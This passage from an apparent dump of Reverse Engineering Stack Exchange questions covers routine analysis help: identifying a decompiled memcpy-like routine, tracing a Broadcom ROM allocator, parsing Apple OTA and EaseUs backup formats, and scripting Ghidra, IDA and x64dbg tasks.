+    return CONCAT44(param_1,param_2);
+  }
+  if (param_2 == param_1) {
+    return CONCAT44(param_1,param_2);
+  }
+  iVar8 = param_3 + -4;
+  puVar2 = param_1;
+  iVar10 = iVar8;
+  if (param_3 < 4) goto LAB_0003b7ec;
+  if (((uint)param_1 & 3) == 0) {
+    uVar13 = (uint)param_2 & 3;
+    puVar1 = param_1;
+  }
+  else {
+    iVar10 = -((uint)param_1 & 3);
+    iVar9 = iVar10 + 4;
+    bVar18 = SBORROW4(iVar9,2);
+    bVar17 = iVar10 + 2 < 0;
+    bVar11 = *(byte *)param_2;
+    *(byte *)param_1 = bVar11;
+    puVar2 = (uint *)((int)param_2 + 1);
+    if (1 < iVar9) {
+      puVar2 = (uint *)((int)param_2 + 2);
+      bVar11 = *(byte *)(uint *)((int)param_2 + 1);
+    }
+    puVar1 = (uint *)((int)param_1 + 1);
+    if (bVar17 == bVar18) {
+      puVar1 = (uint *)((int)param_1 + 2);
+      *(byte *)(uint *)((int)param_1 + 1) = bVar11;
+    }
+    param_2 = puVar2;
+    if (iVar9 != 2 && bVar17 == bVar18) {
+      param_2 = (uint *)((int)puVar2 + 1);
+      bVar11 = *(byte *)puVar2;
+    }
+    param_4 = (uint)bVar11;
+    puVar2 = puVar1;
+    if (iVar9 != 2 && bVar17 == bVar18) {
+      puVar2 = (uint *)((int)puVar1 + 1);
+      *(byte *)puVar1 = bVar11;
+    }
+    iVar10 = iVar8 - iVar9;
+    if (iVar8 < iVar9) goto LAB_0003b7ec;
+    uVar13 = (uint)param_2 & 3;
+    iVar8 = iVar10;
+    puVar1 = puVar2;
+  }
+  if (uVar13 == 0) {
+    iVar9 = iVar8 + -8;
+    if (7 < iVar8) {
+      iVar8 = iVar8 + -0x1c;
+      if (0x13 < iVar9) {
+        do {
+          iVar10 = iVar8;
+          puVar5 = param_2;
+          puVar2 = puVar1;
+          uVar13 = puVar5[1];
+          uVar14 = puVar5[2];
+          uVar16 = puVar5[3];
+          *puVar2 = *puVar5;
+          puVar2[1] = uVar13;
+          puVar2[2] = uVar14;
+          puVar2[3] = uVar16;
+          param_4 = puVar5[4];
+          uVar13 = puVar5[5];
+          uVar14 = puVar5[6];
+          uVar16 = puVar5[7];
+          param_2 = puVar5 + 8;
+          puVar2[4] = param_4;
+          puVar2[5] = uVar13;
+          puVar2[6] = uVar14;
+          puVar2[7] = uVar16;
+          puVar1 = puVar2 + 8;
+          iVar8 = iVar10 + -0x20;
+        } while (0x1f < iVar10);
+        if (iVar10 + -0x10 < 0 == SCARRY4(iVar8,0x10)) {
+          param_4 = *param_2;
+          uVar13 = puVar5[9];
+          uVar14 = puVar5[10];
+          uVar16 = puVar5[0xb];
+          param_2 = puVar5 + 0xc;
+          *puVar1 = param_4;
+          puVar2[9] = uVar13;
+          puVar2[10] = uVar14;
+          puVar2[0xb] = uVar16;
+          puVar1 = puVar2 + 0xc;
+          iVar8 = iVar10 + -0x30;
+        }
+      }
+      bVar18 = SCARRY4(iVar8,0x14);
+      iVar9 = iVar8 + 0x14;
+      bVar17 = iVar9 < 0;
+      do {
+        if (bVar17 == bVar18) {
+          param_4 = *param_2;
+          uVar13 = param_2[1];
+          uVar14 = param_2[2];
+          param_2 = param_2 + 3;
+          *puVar1 = param_4;
+          puVar1[1] = uVar13;
+          puVar1[2] = uVar14;
+          puVar1 = puVar1 + 3;
+          bVar18 = SBORROW4(iVar9,0xc);
+          iVar9 = iVar9 + -0xc;
+          bVar17 = iVar9 < 0;
+        }
+      } while (bVar17 == bVar18);
+    }
+    iVar10 = iVar9 + 8;
+    puVar2 = puVar1;
+    if (iVar10 < 0 == SCARRY4(iVar9,8)) {
+      if (iVar10 < 4) {
+        param_4 = *param_2;
+        param_2 = param_2 + 1;
+      }
+      if (iVar9 + 4 < 0 == SBORROW4(iVar10,4)) {
+        uVar13 = *param_2;
+        uVar14 = param_2[1];
+        param_2 = param_2 + 2;
+        *puVar1 = uVar13;
+        puVar1[1] = uVar14;
+        puVar2 = puVar1 + 2;
+        iVar10 = iVar9;
+      }
+      else {
+        puVar2 = puVar1 + 1;
+        *puVar1 = param_4;
+        iVar10 = iVar9 + 4;
+      }
+    }
+    goto LAB_0003b7ec;
+  }
+  puVar5 = (uint *)((uint)param_2 & 0xfffffffc) + 1;
+  uVar14 = *(uint *)((uint)param_2 & 0xfffffffc);
+  if (uVar13 < 3) {
+    if (uVar13 == 2) {
+      puVar6 = puVar5;
+      if (iVar8 < 0xc) {
+LAB_0003b910:
+        do {
+          uVar13 = uVar14 >> 0x10;
+          puVar5 = puVar6 + 1;
+          uVar14 = *puVar6;
+          puVar2 = puVar1 + 1;
+          *puVar1 = uVar13 | uVar14 << 0x10;
+          iVar10 = iVar8 + -4;
+          bVar17 = 3 < iVar8;
+          puVar1 = puVar2;
+          puVar6 = puVar5;
+          iVar8 = iVar10;
+        } while (bVar17);
+      }
+      else {
+        iVar8 = iVar8 + -0xc;
+        do {
+          iVar9 = iVar8;
+          uVar13 = uVar14 >> 0x10;
+          uVar16 = *puVar5;
+          uVar12 = puVar5[1];
+          uVar15 = puVar5[2];
+          uVar14 = puVar5[3];
+          puVar5 = puVar5 + 4;
+          *puVar1 = uVar13 | uVar16 << 0x10;
+          puVar1[1] = uVar16 >> 0x10 | uVar12 << 0x10;
+          puVar1[2] = uVar12 >> 0x10 | uVar15 << 0x10;
+          puVar1[3] = uVar15 >> 0x10 | uVar14 << 0x10;
+          puVar1 = puVar1 + 4;
+          iVar8 = iVar9 + -0x10;
+        } while (0xf < iVar9);
+        iVar10 = iVar9 + -4;
+        puVar2 = puVar1;
+        puVar6 = puVar5;
+        iVar8 = iVar10;
+        if (iVar10 < 0 == SCARRY4(iVar9 + -0x10,0xc)) goto LAB_0003b910;
+      }
+      param_2 = (uint *)((int)puVar5 + -2);
+      goto LAB_0003b7ec;
+    }
+    puVar6 = puVar5;
+    if (iVar8 < 0xc) {
+LAB_0003b8a4:
+      do {
+        uVar13 = uVar14 >> 8;
+        puVar5 = puVar6 + 1;
+        uVar14 = *puVar6;
+        puVar2 = puVar1 + 1;
+        *puVar1 = uVar13 | uVar14 << 0x18;
+        iVar10 = iVar8 + -4;
+        bVar17 = 3 < iVar8;
+        puVar1 = puVar2;
+        puVar6 = puVar5;
+        iVar8 = iVar10;
+      } while (bVar17);
+    }
+    else {
+      iVar8 = iVar8 + -0xc;
+      do {
+        iVar9 = iVar8;
+        uVar13 = uVar14 >> 8;
+        uVar16 = *puVar5;
+        uVar12 = puVar5[1];
+        uVar15 = puVar5[2];
+        uVar14 = puVar5[3];
+        puVar5 = puVar5 + 4;
+        *puVar1 = uVar13 | uVar16 << 0x18;
+        puVar1[1] = uVar16 >> 8 | uVar12 << 0x18;
+        puVar1[2] = uVar12 >> 8 | uVar15 << 0x18;
+        puVar1[3] = uVar15 >> 8 | uVar14 << 0x18;
+        puVar1 = puVar1 + 4;
+        iVar8 = iVar9 + -0x10;
+      } while (0xf < iVar9);
+      iVar10 = iVar9 + -4;
+      puVar2 = puVar1;
+      puVar6 = puVar5;
+      iVar8 = iVar10;
+      if (iVar10 < 0 == SCARRY4(iVar9 + -0x10,0xc)) goto LAB_0003b8a4;
+    }
+    param_2 = (uint *)((int)puVar5 + -3);
+    goto LAB_0003b7ec;
+  }
+  puVar6 = puVar5;
+  if (iVar8 < 0xc) {
+LAB_0003b97c:
+    do {
+      uVar13 = uVar14 >> 0x18;
+      puVar5 = puVar6 + 1;
+      uVar14 = *puVar6;
+      puVar2 = puVar1 + 1;
+      *puVar1 = uVar13 | uVar14 << 8;
+      iVar10 = iVar8 + -4;
+      bVar17 = 3 < iVar8;
+      puVar1 = puVar2;
+      puVar6 = puVar5;
+      iVar8 = iVar10;
+    } while (bVar17);
+  }
+  else {
+    iVar8 = iVar8 + -0xc;
+    do {
+      iVar9 = iVar8;
+      uVar13 = uVar14 >> 0x18;
+      uVar16 = *puVar5;
+      uVar12 = puVar5[1];
+      uVar15 = puVar5[2];
+      uVar14 = puVar5[3];
+      puVar5 = puVar5 + 4;
+      *puVar1 = uVar13 | uVar16 << 8;
+      puVar1[1] = uVar16 >> 0x18 | uVar12 << 8;
+      puVar1[2] = uVar12 >> 0x18 | uVar15 << 8;
+      puVar1[3] = uVar15 >> 0x18 | uVar14 << 8;
+      puVar1 = puVar1 + 4;
+      iVar8 = iVar9 + -0x10;
+    } while (0xf < iVar9);
+    iVar10 = iVar9 + -4;
+    puVar2 = puVar1;
+    puVar6 = puVar5;
+    iVar8 = iVar10;
+    if (iVar10 < 0 == SCARRY4(iVar9 + -0x10,0xc)) goto LAB_0003b97c;
+  }
+  param_2 = (uint *)((int)puVar5 + -1);
+LAB_0003b7ec:
+  iVar8 = iVar10 + 4;
+  if (iVar8 != 0) {
+    bVar18 = SBORROW4(iVar8,2);
+    bVar17 = iVar10 + 2 < 0;
+    bVar11 = *(byte *)param_2;
+    *(byte *)puVar2 = bVar11;
+    pbVar3 = (byte *)((int)param_2 + 1);
+    if (1 < iVar8) {
+      pbVar3 = (byte *)((int)param_2 + 2);
+      bVar11 = *(byte *)((int)param_2 + 1);
+    }
+    pbVar7 = (byte *)((int)puVar2 + 1);
+    if (bVar17 == bVar18) {
+      pbVar7 = (byte *)((int)puVar2 + 2);
+      *(byte *)((int)puVar2 + 1) = bVar11;
+    }
+    pbVar4 = pbVar3;
+    if (iVar8 != 2 && bVar17 == bVar18) {
+      pbVar4 = pbVar3 + 1;
+      bVar11 = *pbVar3;
+    }
+    if (iVar8 != 2 && bVar17 == bVar18) {
+      *pbVar7 = bVar11;
+    }
+    return CONCAT44(param_1,pbVar4);
+  }
+  return CONCAT44(param_1,param_2);
+}
+
+My best guess for now is it is doing some kind of encoding and it might be a standard glibc function as it is called many times throughout the code. +This function is usally called with parameter like follows: +
ToSolve1(auStack55,(uint *)&DAT_000543f4,0xe,uVar10);
+ToSolve1(auStack55,(uint *)&DAT_0005489c,0xe,uVar10);
+ToSolve1((uint *)&DAT_0004f602,&local_1c,4,(uint)&DAT_0004f680);
+ToSolve1(param_1,&DAT_0004f5f8,0xe,(uint)puVar4);
+
+Hope someone can give me a nudge on what this function is. +If possible, I would like to learn about if there are any resources out there that can help me improve the skills of recognizing standard function signatures. +" +"['arm', 'memory', 'static-analysis', 'rom', 'thumb2']"," Title: Immediate offset LDR in presumed malloc function looks wrong in static analysisBody: I am attempting to disassemble a ROM image for a BCM4366C [1] after reading a blog post where researchers reversed some other Broadcom chips [2] . I have analyzed the ROM image in Ghidra and I have tried to identify the malloc, memcpy, free and printf functions, but now I am struggling to understand what I believe to be the main malloc loop. I believe the entry point to malloc is at 00012124, based on the large number of xrefs Ghidra has found where r0 is set to a small immediate value followed by a branch to this address, eg: +
        00018dcc 4f f4 a2 70     mov.w      r0,#0x144
+        00018dd0 f9 f7 a8 f9     bl         malloc              ;; 00012124
+
+At 00012124 there is a branch to 00011eb8 which I believe to be the guts of the malloc function: +
                             LAB_00011eb8                                    XREF[2]:     00012126(j), 0001212c(j)  
+        00011eb8 2d e9 f7 4f     push       { r0, r1, r2, r4, r5, r6, r7, r8, r9, r10, r1...
+        00011ebc 03 30           add        r0,#0x3
+        00011ebe 4f f0 01 0b     mov.w      r11,#0x1
+        00011ec2 20 f0 03 04     bic        r4,r0,#0x3
+        00011ec6 0b fa 01 f1     lsl.w      r1,r11,r1
+        00011eca b1 f5 80 4f     cmp.w      r1,#0x4000
+        00011ece 34 bf           itE        cc
+        00011ed0 8b 46           mov.cc     r11,r1
+        00011ed2 4f f4 80 4b     mov.cs.w   r11,#0x4000
+        00011ed6 90 f0 a7 f8     bl         FUN_000a2028                                     undefined FUN_000a2028()
+        00011eda 39 4b           ldr        r3,[DAT_00011fc0]                                = 002007B8h
+        00011edc 00 22           mov        r2,#0x0
+        00011ede bb f1 04 0f     cmp.w      r11,#0x4
+        00011ee2 38 bf           it         cc
+        00011ee4 4f f0 04 0b     mov.cc.w   r11,#0x4
+        00011ee8 d3 f8 00 a0     ldr.w      r10,[r3,#0x0]=>DAT_002007b8
+        00011eec 15 46           mov        r5,r2
+        00011eee 91 46           mov        r9,r2
+        00011ef0 13 46           mov        r3,r2
+        00011ef2 cb f1 00 01     rsb        r1,r11,#0x0
+        00011ef6 0b f1 ff 3b     add.w      r11,r11,#0xffffffff
+        00011efa 01 91           str        r1,[sp,#Stack[-0x2c]]
+        00011efc cd f8 00 b0     str.w      r11,[sp,#0x0]=>Stack[-0x30]
+                             LAB_00011f00                                    XREF[1]:     00011f4a(j)  
+        00011f00 41 68           ldr        r1,[r0,#0x4]
+        00011f02 19 b3           cbz        r1,LAB_00011f4c
+        00011f04 d1 f8 00 80     ldr.w      r8,[r1,#0x0]
+        00011f08 a0 45           cmp        r8,r4
+        00011f0a 1d d3           bcc        LAB_00011f48
+        00011f0c dd f8 04 b0     ldr.w      r11,[sp,#Stack[-0x2c]]
+        00011f10 01 f1 08 07     add.w      r7,r1,#0x8
+        00011f14 07 eb 08 0c     add.w      r12,r7,r8
+        00011f18 c4 eb 0c 06     rsb.w      r6,r4,r12
+        00011f1c 0b ea 06 06     and.w      r6,r11,r6
+        00011f20 be 42           cmp        r6,r7
+        00011f22 11 d3           bcc        LAB_00011f48
+        00011f24 dd f8 00 b0     ldr.w      r11,[sp,#0x0]=>Stack[-0x30]
+        00011f28 1b ea 07 0f     tst.w      r11,r7
+        00011f2c 02 d0           beq        LAB_00011f34
+        00011f2e f7 1b           sub        r7,r6,r7
+        00011f30 07 2f           cmp        r7,#0x7
+        00011f32 09 d9           bls        LAB_00011f48
+                             LAB_00011f34                                    XREF[1]:     00011f2c(j)  
+        00011f34 c4 eb 08 07     rsb.w      r7,r4,r8
+        00011f38 57 45           cmp        r7,r10
+        00011f3a 05 d2           bcs        LAB_00011f48
+        00011f3c 62 46           mov        r2,r12
+        00011f3e 35 46           mov        r5,r6
+        00011f40 67 b1           cbz        r7,LAB_00011f5c
+        00011f42 ba 46           mov        r10,r7
+        00011f44 81 46           mov        r9,r0
+        00011f46 0b 46           mov        r3,r1
+                             LAB_00011f48                                    XREF[4]:     00011f0a(j), 00011f22(j), 
+                                                                                          00011f32(j), 00011f3a(j)  
+        00011f48 08 46           mov        r0,r1
+        00011f4a d9 e7           b          LAB_00011f00
+                             LAB_00011f4c                                    XREF[1]:     00011f02(j)  
+        00011f4c 48 46           mov        r0,r9
+[snip]
+
+There is a loop entering at 00011f00 with the reverse jump at 00011f4a, and a single jump out of the loop at 00011f40. +The line that is confusing me is the first line of the loop (00011f00) -- here the instruction ldr r1,[r0,#0x4] would be using r0 as a base address and then dereferencing r0+0x4 into r1 (because of the [], indicating immediate offset addressing). However, I can't find any instructions prior to this where r0 is loaded into, it appears to only be loaded with a small immediate value at the malloc call sites (which I thought was the callers specifying the size of memory they want alloc'd). Apart from the 'wrapper' at 00012124, the only other block of code I am encountering in my in-my-head trace of the execution is the branch at 00011ed6, and the function there also does not touch r0. +The loop ends by moving r1 into r0 before jumping back to the start, at which point the ldr r1,[r0,#0x4] instruction is executed again. Based on this I had thought that this loop is walking over the linked list of free heap blocks: each heap block has a pointer to the next heap block at offset 0x4, which is retrieved at the start of the loop. +Is the instruction at 00011f00 actually dereferencing the size as a base address? Or is r0 being written to earlier in the flow and I cannot see where it is happening? +Additionally, I would love to know if I am on the right track with understanding the allocator, but if you can help me with this one ldr instruction I would be very grateful! 🙏 +Thank you :) +[1] https://github.com/seemoo-lab/bcm_misc/blob/master/bcm4366c/rom.bin
+[2] https://blog.quarkslab.com/reverse-engineering-broadcom-wireless-chipsets.html +EDIT: FUN_000a2028 is defined as: +
                             **************************************************************
+                             *                          FUNCTION                          *
+                             **************************************************************
+                             undefined FUN_000a2028()
+             undefined         r0:1           <RETURN>
+             undefined4        Stack[-0x4]:4  local_4                                 XREF[1]:     000a202e(W)  
+                             FUN_000a2028                                    XREF[2]:     FUN_00011dc4:00011de0(c), 
+                                                                                          malloc:00011ed6(c)  
+        000a2028 10 b5           push       { r4, lr }
+        000a202a 02 4c           ldr        r4,[DAT_000a2034]                                = 00200418h
+        000a202c 24 68           ldr        r4,[r4,#0x0]=>DAT_00200418
+        000a202e 01 94           str        r4,[sp,#local_4]
+        000a2030 10 bd           pop        { r4, pc }
+
+
+" +"['file-format', 'ios', 'osx']"," Title: Attempting to reverse engineer an iOS OTA payload-like archival formatBody: Apple's announcement of macOS Big Sur had meant the release of the developer beta. In an attempt to create the appbundle from Apple's softwarecatalog, I attempted to study the contents of InstallAssistant.pkg. In the process, I found pbzx files in the payloadv2 directory that mimic Format 3.0 used by iOS for its' OTA updates and the study of that format by Johnathan Levin and attempted to use his ota tool to extract it (which uses the following struct) +
#pragma pack(1)
+struct entry
+{
+
+    unsigned int usually_0x210_or_0x110;
+    unsigned short  usually_0x00_00; //_00_00;
+    unsigned int  fileSize;
+    unsigned short whatever;
+    unsigned long long timestamp_likely;
+    unsigned short _usually_0x20;
+    unsigned short nameLen;
+    unsigned short uid;
+    unsigned short gid;
+    unsigned short perms;
+    char name[0];
+// Followed by file contents
+};
+
+#pragma pack()
+
+There was no avail with ota so I resorted to use a slightly modified (in terms of memory improvements) version of his pbzx tool to extract the stream, to success using the bash command given below in the payloadv2 directory +rm *.ecc && find *.??? -exec bash -c "./pbzx {} >> {}.unpbzx" \; && mkdir unpbzx && mv *.unpbzx unpbzx/ +As a result I now have a directory full of .unpbzx files. Attempting to run ota (with pbzx support removed to eliminate the possibility of potential bugs there) on payload.000.unpbzx results in a Segmentation Fault, gdb returns +
Corrupt entry (0x31414159 at pos 30@0x10100001e).. skipping
+
+Thread 2 received signal SIGSEGV, Segmentation fault.
+0x00000001000031b4 in processFile (FileName=0x7ffeefbff74e "/Volumes/[redacted]/pbzx/payload.000.unpbzx") at ota.c:423
+423                 while (ent->usually_0x210_or_0x110 != 0x210 && ent->usually_0x210_or_0x110 != 0x110)
+
+Running it with alternative tools like ota2tar (with pbzx extraction code removed) and forks of ota like iOS-Utilities gave similar errors (out-of-bounds memory errors, etc.) +It appears that somehow this unpbzx file has a different header structure to the description of Format 3.0 on the iPhone Wiki +Opening payload.000.unpbzx with Hex Fiend shows that the file format appears to be differing from the struct given above (singular entry highlighted) + +Files seem to be listed with some form of delimiter YAA1 in the beginning. Isolating individual entries gives results similar to the image given below (file name highlighted) + +My knowledge of reverse engineering is admittedly limited so the best I could do is some psudocode about what the struct may look like +
struct entry
+{
+  uint8_t header; // 59414131 (0xYAA1) 
+  uint32_t description; // 69005459 50314450 41545030 (iTYP1DPATP)
+  uint8_t padding; // 00
+  // fileNameLen undefined
+  char[fileNameLen] filename; // System/Library/Perl/Extras/5.28/Net/LDAP/Control
+  uint8_t uid; // 55494431 (or 0xUID1)
+  uint8_t padding2; // 00
+  uint8_t descr_end; // 474944 31004D4F 4432ED01 464C4734 00000800 4D544D54
+  // (descr_end includes GID, MOD and FLG values)
+  // file_contents
+}
+
+As a last ditch attempt, I ran payload.000.unpbzx through 7zip and it identifies the file as a gzip stream +
Path = /Volumes/[redacted]/pbzx/payload.000.unpbzx
+Type = gzip
+ERRORS:
+There are data after the end of archive
+Offset = 5636247
+Physical Size = 98
+Tail Size = 12327687
+Headers Size = 10
+Streams = 1
+
+ERROR: There is some data after the end of the payload data : payload.000
+
+Sub items Errors: 1
+Archives with Errors: 1
+Open Errors: 1
+
+But gunzip does not recognize the format. +At this point, what would be the best way of interpreting this new archival structure and how do I proceed forward? +(Note: Hex Fiend displays 000.pbzx because I did actually name the files with the .pbzx extension even though that naming was incorrect and had modified it to .unpbzx for clarity in this question) +" +"['ida', 'linux', 'idapython', 'arm', 'patch-reversing']"," Title: Replacing bytes from start of every function with IDA ProBody: I want to fix a .plt segment in IDA Pro by replacing 12 bytes from start of every function in the .plt segment with the ones I specify. +I want to just make each function return so I'm replacing opcodes to do this, but doing this by hand is a painful job. My fingers and palm hurt after I modified a single library, so I need a way to do that with IDA Python. +It's an ARM 32 shared library, I know it doesn't matter here but specified for goodness sake. +This is the hex I'm replacing in every function: +00 00 a0 e1 00 00 a0 e3 1e ff 2f e1 +This is what this hex is all about: +
    movs r0, r0
+    movs r0, #0
+    bx lr
+
+" +"['firmware', 'ghidra']"," Title: How to import a file system image with Ghidra Headless Analyzer?Body: I am currently debugging the EXT4 loader, and using the GUI and selecting the file every time is fairly annoying. The simpler solution would be to have a Headless Analyzer invocation that imports the file system image and parses it. +The naive way of simply calling the Headless Analyzer with the arguments for the project location, name and -import image.ext4 results in the following errors: +
INFO  No load spec found for import file: <redacted>.ext4   (AutoImporter.java:215) 
+ERROR The AutoImporter could not successfully load <redacted>.ext4 with the provided import parameters. Please ensure that any specified processor/cspec arguments are compatible with the loader that is used during import and try again.   (HeadlessAnalyzer.java:1651) 
+ERROR REPORT: Import failed for file: <redacted>.ext4   (HeadlessAnalyzer.java:1688) 
+
+The documentation only covers handling specific binaries, so this doesn't seem like it is supported currently. +A workaround that does not work for my specific use case, but might suffice for others is to mount the image and then use the -recursive argument for the Headless Analyzer. +A solution could be a script, which would call whatever is called after selecting a file via the Open File System menu option. There doesn't seem to be one like this shipped with Ghidra yet, but maybe there is one written by the community somewhere. +" +"['ghidra', 'crackme']"," Title: Segmentation fault after export binary file in Ghidra even without any changesBody: I trying solve some https://crackmes.one/ simple quests. I newbie on it. But after export binary file (even without any changes), when I run the program in the terminal, I get the message "segmentation fault". +I use ghidra 9.1.2 in Kali Linux in VBox with 5 CPUs and 8 Gb RAM. Host: Ryzen 5 3600, 16 Gb DDR4. +I have record a video with demo of reproducing this issue: https://www.youtube.com/watch?v=M4RKXHRBNM8\ +But I don't have such problems when I try solve windows exe crackmes on my host Windows 10 machine. +Also I note that after analysis in bookmarks appeared message with description: Non-Returning Function Identified with any crackmes. +" +"['ida', 'idapython']"," Title: What is the easiest way to dump a REGION of memory in IDA pro?Body: I'm facing a problem that i need to dump a large region of memory with IDA pro +using xdbg its easily done by going to memory map tab and just dumping a region, how can i do this in IDA pro? for example dump from address x to y +I tried to use a simple IDApython script but if the size is large IDA will just crash (I'm dumping a large region while remotely debugging a windows kernel) +
filename = AskFile(1, "*.bin", "Output file name")
+address = startAddress
+size = 0xFFFFFF
+dbgr = True
+with open(filename, "wb") as out:
+    data = GetManyBytes(address, size, use_dbg=dbgr)
+    out.write(data)
+
+" +['x64dbg']," Title: How can I easily convert little endian pointers in hex dumps?Body: I am tracking down a data structure whose address is inside the second operand: +
mov rcx, qword ptr ss:[rbp+E0]
+
+When I look at the value of [rbp+E0] I see the following dump: +
21 C4 FC 5E 00 00 00 00
+
+This is the pointer to the data structure but it is stored as little endian. So I cannot simply copy the address. I have to transform it by hand into: +
000000005EFCC421
+
+Is there a common and easy way to handle these situations? I am currently using x64dbg as a debugger. +Thanks! +" +"['dll', 'ghidra', 'import-reconstruction']"," Title: Is there a way to view the complete ""Additional Information"" log of Ghidra's ""Import Results Summary""?Body: I'm currently trying to look into Q.U.B.E. 2's internal mechanics, so I decided to look at it using Ghidra. Q.U.B.E. 2 is built upon UnrealEngine, so it it's pretty big (~50 Mb's). However, when importing the file, Ghidra complains about a lot of missing DLLs. So I started downloading all of them manually and putting them into a directory which I specified in the import settings -> External Libraries, however, the missing files only get written in the "Additional Info" field of the import results. +The problem here is, that the "Additional Info" ends with the following message: +
There were too many messages to display.
+659 messages have been truncated.
+
+meaning I can't take a look at all of the missing dll's. +I can't have a good look into the code without the dependencies, as Ghidra displays No symbol warning's everywhere. My guess is that a big thing of Unreal Engine is still missing, as most of the missing symbols start with U (UObjectBase, UWorld, ...) +Can I somehow look at the complete import log to add the missing libraries? Or is there a faster way to supply every dependency? +" +"['firmware', 'hardware', 'crc', 'cryptography']"," Title: crc - reverse engineering GAL16V8 checksum methodBody: While working with the GAL16V8 (an old programmable logic device), I found out that the Programmers Electronic Signature (PES) of each GAL has a checksum byte +I've read the PES of some GALs but was unable find out the kind of checksum used. In the sequences below, the last byte is supposed to be the checksum. +
00 03 1A A1 00 00 00 30
+00 05 50 A1 CD A6 03 06
+00 05 1A A1 CD A4 03 06
+00 02 1A 8F 00 00 00 15
+00 02 1A 81 00 00 00 10
+
+How do I identify the checksum method used? +" +"['ida', 'driver']"," Title: Why does IDA Pro fail to add these constants?Body: I am trying to port Enrique Nissim's script from his presentation "Reverse Engineering and Bug Hunting on KMDF Drivers" to IDA 7.4. His original script can be found at: +https://github.com/IOActive/kmdf_re/tree/master/code +My somewhat updated version can be found at: +https://github.com/MrSynAckSter/kmdf_re/blob/master/code/kmdf_re.py +While I have eliminated most of the errors, I noticed that on all of the drivers I tried it on some of the constants fail to be added to the IDA database. +Errors like these propagate upon running the script: +
(1, '_GUID')
+(2, 'GUID')
+(3, 'RUNTIME_FUNCTION')
+(4, 'UNWIND_INFO_HDR')
+(5, 'UNWIND_CODE')
+(6, '_UNICODE_STRING')
+(7, 'USHORT')
+(8, 'PWSTR')
+(9, 'WCHAR')
+(10, 'wchar_t')
+(11, 'FILE')
+(12, '_iobuf')
+(13, '_MAJOR_FUNCTIONS')
+(14, 'MAJOR_FUNCTIONS')
+MAJOR_FUNCTIONS: failed to add constant DispatchCreate=0 (0x0)
+MAJOR_FUNCTIONS: failed to add constant DispatchCreateNamedPipe=1 (0x1)
+MAJOR_FUNCTIONS: failed to add constant DispatchCLose=2 (0x2)
+MAJOR_FUNCTIONS: failed to add constant DispatchRead=3 (0x3)
+MAJOR_FUNCTIONS: failed to add constant DispatchWrite=4 (0x4)
+MAJOR_FUNCTIONS: failed to add constant DispatchQueryInformation=5 (0x5)
+MAJOR_FUNCTIONS: failed to add constant DispatchSetInformation=6 (0x6)
+MAJOR_FUNCTIONS: failed to add constant DispatchQueryEA=7 (0x7)
+MAJOR_FUNCTIONS: failed to add constant DispatchSetEA=8 (0x8)
+MAJOR_FUNCTIONS: failed to add constant DispatchFlushBuffers=9 (0x9)
+MAJOR_FUNCTIONS: failed to add constant DispatchQueryVolumeInformation=10 (0xA)
+MAJOR_FUNCTIONS: failed to add constant DispatchSetVolumeInformation=11 (0xB)
+MAJOR_FUNCTIONS: failed to add constant DispatchDirectoryControl=12 (0xC)
+MAJOR_FUNCTIONS: failed to add constant DispatchFileSystemControl=13 (0xD)
+MAJOR_FUNCTIONS: failed to add constant DispatchDeviceIOControl=14 (0xE)
+MAJOR_FUNCTIONS: failed to add constant DispatchInternalDeviceControl=15 (0xF)
+MAJOR_FUNCTIONS: failed to add constant DispatchShutdown=16 (0x10)
+MAJOR_FUNCTIONS: failed to add constant DispatchLockControl=17 (0x11)
+MAJOR_FUNCTIONS: failed to add constant DispatchCleanup=18 (0x12)
+MAJOR_FUNCTIONS: failed to add constant DispatchCreateMailslot=19 (0x13)
+MAJOR_FUNCTIONS: failed to add constant DispatchQuerySecurity=20 (0x14)
+MAJOR_FUNCTIONS: failed to add constant DispatchSetSecurity=21 (0x15)
+MAJOR_FUNCTIONS: failed to add constant DispatchPower=22 (0x16)
+MAJOR_FUNCTIONS: failed to add constant DispatchSystemControl=23 (0x17)
+MAJOR_FUNCTIONS: failed to add constant DispatchDeviceChange=24 (0x18)
+MAJOR_FUNCTIONS: failed to add constant DispatchQueryQuota=25 (0x19)
+MAJOR_FUNCTIONS: failed to add constant DispatchSetQuota=26 (0x1A)
+MAJOR_FUNCTIONS: failed to add constant DispatchPNP=27 (0x1B)
+
+I have narrowed their origin to this bit of the script at line 439: +
def load_kmdf_types_into_idb():
+    header_path = idautils.GetIdbDir()
+    idaapi.idc_parse_types("".join([header_path, "WDFStructs.h"]), idc.PT_FILE)
+    for idx in range(1, idc.get_ordinal_qty
+
+
+()):
+        #Fails to add some of the types
+        print((idx, idc.get_numbered_type_name(idx)))
+        idc.import_type(idx, idc.get_numbered_type_name(idx))
+
+However the IDA documentation doesn't help much in terms of deciphering the "failed to add constant" errors. +https://www.hex-rays.com/products/ida/support/idapython_docs/ida_typeinf-module.html#import_type +
import_type(til, idx, name, flags=0)
+ 
+Copy a named type from til to idb.
+
+Parameters:
+til - type library (C++: const til_t *)
+idx - the position of the new type in the list of types (structures or enums). -1 means at the end of the list (C++: int)
+name - the type name (C++: const char *)
+flags - combination of Import type flags (C++: int)
+Returns: tid_t
+BADNODE on error
+
+The big question for me is why is this type import failing? Is it because the types already exist, or is there some subtle syntax error here? Is the flag parameter here mandatory? The error and documentation make is very difficult to tell exactly what's going on here. +The reason why I care is I believe that the failing imports are contributing to the driver failing to find IoControlls, driver major functions, and other important structures for reverse engineering KMDF drivers. +Here are my main theories for why this is happening: +
    +
  1. Somehow the behavior of import_type doesn't exactly work closely enough to the original Til2Idb method that was in the original script. +
  2. +
  3. The types are somehow are already in the database in some conflicting way due to flirt signatures or something. I tried looking for them manually, but I don't see them being added on any of the drivers I have tried with the script. +
  4. +
  5. This is IDA telling me that the constants cant be added because they don't exist in the database and the script is functioning more or less as intended. If this is cases I wish the IDA docs would give me some indication of this behavior. +
  6. +
+I hope this makes the question clear guys. I hope you can help! +Update: As an added wrinkle, when I manually import the header file this is parsing IDA doesn't generate any errors. +" +['file-format']," Title: Reverse Engineer Unknown File FormatBody: I have thousands of old backup files from EaseUs Todo Backup. They are incremental backups saved inside a ".pbd" file (EaseUs's proprietary backup format). I've tried to get my files out using their official tools, but they dont work due to the amount of files I have. I want to write my own program to take these files out and extract them to a more common format like .zip. +I figure I'd start by using their software to backup a simple text file (with contents "hello world"), then change that text file to "hello world123" and run another incremental backup. This way I can compare the two initial files to see where the file names/contents are stored within the binary. +Here are the two test files: https://dl.dropboxusercontent.com/s/6fhqrkodz68vgv0/backups.zip +Screenshot of files: https://dl.dropboxusercontent.com/s/a4pui0hugym10xq/explorer_sWDcZaogNa.png +When I compare the two files in a hex editor, I can't seem to find where the names/contents are, and how I can parse these files in software. This is the first 